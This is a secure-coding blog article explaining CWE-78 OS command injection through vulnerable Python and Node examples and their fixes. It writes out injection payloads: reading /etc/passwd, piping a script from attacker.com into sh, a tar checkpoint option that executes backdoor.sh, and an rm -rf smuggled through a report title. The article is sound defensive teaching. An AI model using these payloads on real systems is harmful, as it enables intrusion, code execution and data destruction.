October 15, 2026
Understanding CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS…
Learn how CWE-78 lets attackers run arbitrary shell commands when user input is concatenated into a system call, from ping utilities to…

By Walter Moar
5 min read
Learn how CWE-78 lets attackers run arbitrary shell commands when user input is concatenated into a system call, from ping utilities to image conversion pipelines.
Applications sometimes need to shell out to the operating system: pinging a host, converting a file with an external tool, or compressing a directory. When part of the command comes from user input, the application is effectively asking the shell to trust whatever the user typed. If the input isn't properly separated from the command structure, an attacker can inject their own commands along with the one the application intended to run.
CWE-78 Overview
The Common Weakness Enumeration (CWE) is a list of software and hardware security weaknesses. The CWEs are numbered, and each one describes a specific type of mistake that could lead to a security vulnerability. Understanding these common weaknesses helps identify potential security problems, both for the developer and an attacker.
CWE-78 happens when an application includes unsanitized user input when building a command to be executed. Elements that have special meaning to the shell, like ;, |, &, `, $(), and >, can chain commands, pipe output, run subshells, or redirect files. When user input contains these characters, the attacker can supply entirely different commands to be run.
The impact is typically severe, since the injected command runs as the same user, and the same privileges, as the application. This includes reading or modifying any file the application's process can access, exfiltrating data, installing persistence mechanisms, or pivoting further into the network. Unlike weaknesses that require a specific chain of conditions, command injection is often directly and immediately exploitable.
Example 1: Unsanitized Input to ping
A network diagnostics page lets users ping a host and view the results:
@app.route('/ping')
def ping():
host = request.args.get('host')
result = os.popen(f'ping -c 4 {host}').read()
return result@app.route('/ping')
def ping():
host = request.args.get('host')
result = os.popen(f'ping -c 4 {host}').read()
return resultA legitimate request looks like:
GET /ping?host=example.comGET /ping?host=example.comAn attacker can instead request:
GET /ping?host=example.com; cat /etc/passwdGET /ping?host=example.com; cat /etc/passwdThe shell runs ping -c 4 example.com; cat /etc/passwd. The semicolon ends the ping command and starts a second one, which the shell runs unconditionally. The output of both commands is returned to the attacker.
This is a weakness because the application builds a shell command by directly putting user input into a string, and trusts the host field to contain only a hostname. The fix is to avoid invoking a shell at all. Most languages provide a way to call an executable directly with an argument list, bypassing shell interpretation entirely:
import subprocess
result = subprocess.run(
['ping', '-c', '4', host],
capture_output=True, text=True, timeout=5
).stdoutimport subprocess
result = subprocess.run(
['ping', '-c', '4', host],
capture_output=True, text=True, timeout=5
).stdoutHere, host is passed as a single argument to the ping binary, not as text that a shell parses. Characters like ; or | have no special meaning here, so they are treated as a literal (and likely invalid) hostname.
Example 2: Blocklisting Dangerous Characters
A naive developer knows about command injection and tries to filter out dangerous characters:
app.get('/convert', (req, res) => {
let filename = req.query.file
// Remove characters associated with shell injection
filename = filename.replace(/[;&`]/g, '')
exec(`convert ${filename} output.png`, (err, stdout) => {
res.send(stdout)
})
})app.get('/convert', (req, res) => {
let filename = req.query.file
// Remove characters associated with shell injection
filename = filename.replace(/[;&`]/g, '')
exec(`convert ${filename} output.png`, (err, stdout) => {
res.send(stdout)
})
})This blocks the obvious payloads, but the attacker can still send:
GET /convert?file=$(curl+attacker.com/x.sh|sh)GET /convert?file=$(curl+attacker.com/x.sh|sh)Filters like this are easy to get wrong, since some characters were not filtered and there is a possible exploit. This is a whack-a-mole approach to filtering user input, since it has to anticipate every shell metacharacter in advance, across every shell the application might run under.
The better approach is to not use shell interpretation. The reliable fix, as in Example 1, is to call the binary directly with an argument array so the shell is never involved:
const { execFile } = require('child_process')
execFile('convert', [filename, 'output.png'], (err, stdout) => {
res.send(stdout)
})const { execFile } = require('child_process')
execFile('convert', [filename, 'output.png'], (err, stdout) => {
res.send(stdout)
})execFile() launches the convert binary directly rather than handing a string to /bin/sh, so there's no shell syntax for an attacker to inject into.
Example 3: Injection Through a Hidden Shell Feature
An application backs up a user's directory using a shell pipeline, having "fixed" the earlier mistake by switching to an argument array:
import subprocess
def backup(dirname):
subprocess.run(['tar', '-czf', 'backup.tar.gz', dirname])import subprocess
def backup(dirname):
subprocess.run(['tar', '-czf', 'backup.tar.gz', dirname])This looks safe, since no shell string is built. But the directory name comes from user input, and tar itself supports command execution through a feature most developers don't expect: file names beginning with a hyphen are interpreted as flags, and tar has a flag that executes a hook before archiving an entry. An attacker-supplied directory name like:
--checkpoint=1 --checkpoint-action=exec=sh\ backdoor.sh--checkpoint=1 --checkpoint-action=exec=sh\ backdoor.shgets parsed by tar as options rather than a path, and tar executes backdoor.sh as part of its own normal operation. No shell metacharacter was involved at any point.
This is a weakness because removing the shell only protects against shell interpretation. It doesn't protect against the invoked program itself having command-execution features triggered by crafted arguments. The fix is to ensure user-controlled values can never be mistaken for flags, typically by explicitly marking the end of options and validating the input shape before use:
import re
import subprocess
def backup(dirname):
if not re.fullmatch(r'[\w\-./]+', dirname) or dirname.startswith('-'):
raise ValueError('Invalid directory name')
subprocess.run(['tar', '-czf', 'backup.tar.gz', '--', dirname])import re
import subprocess
def backup(dirname):
if not re.fullmatch(r'[\w\-./]+', dirname) or dirname.startswith('-'):
raise ValueError('Invalid directory name')
subprocess.run(['tar', '-czf', 'backup.tar.gz', '--', dirname])The -- tells tar that everything after it is a positional argument, never a flag, and the regex check rejects anything that doesn't look like a plausible path to begin with.
Example 4: Injection Through an Environment Variable
A script sets an environment variable from user input before shelling out to a reporting tool:
import os
def generate_report(title):
os.environ['REPORT_TITLE'] = title
os.system('report-tool --use-env-title')import os
def generate_report(title):
os.environ['REPORT_TITLE'] = title
os.system('report-tool --use-env-title')This avoids putting title directly into the command string, but os.system() still runs the command through /bin/sh, and the reporting tool itself may interpret its environment unsafely, or a later part of the pipeline may read REPORT_TITLE back into another shell command. An attacker-supplied title of:
Quarterly Report'; rm -rf /tmp/*; echo 'Quarterly Report'; rm -rf /tmp/*; echo 'can reintroduce the same injection one layer removed, if any downstream step builds a shell string from that environment variable.
This is a weakness because moving tainted data into an environment variable doesn't neutralize it. The untrusted content is moved to a place where it's easy to forget it's still user-controlled. The fix is the same principle applied consistently: avoid the shell throughout the entire pipeline, and treat any value that originated from user input as untrusted no matter how many hops it has been passed through:
import subprocess
def generate_report(title):
subprocess.run(
['report-tool', '--title', title],
env={**os.environ, 'REPORT_TITLE': title}
)import subprocess
def generate_report(title):
subprocess.run(
['report-tool', '--title', title],
env={**os.environ, 'REPORT_TITLE': title}
)Passing the value as an explicit argument, and avoiding os.system() and shell strings anywhere downstream, means there's no point in the pipeline where the title is re-parsed by a shell.
What to Remember
The most important points to keep in mind about OS command injection are:
- Remember that sanitizing user input is hard! If at all possible, avoid putting user-supplied input into anything run against other commands or systems
- Any value that comes from outside the application, like URL parameters, form fields, headers, environment variables, filenames, must be treated as untrusted
- Shell metacharacters (;, |, &, `, $(), >, newlines) let an attacker chain or replace commands, and there are more of them than most blocklists account for
- Blocklisting specific characters is fragile, so the reliable fix is to avoid invoking a shell at all by calling executables directly with an argument array
- Removing the shell doesn't neutralize every risk, since invoked programs can have their own command-execution features triggered by specially crafted arguments, such as leading hyphens
- Use -- or equivalent to mark the end of options when calling external programs, so user input can never be mistaken for a flag
- Untrusted data stays untrusted no matter how many variables or pipeline stages it passes through before reaching a shell
Want to learn more about security weaknesses? I'm working through the CWE list and doing writeups for security challenges. Follow along for more articles like this one.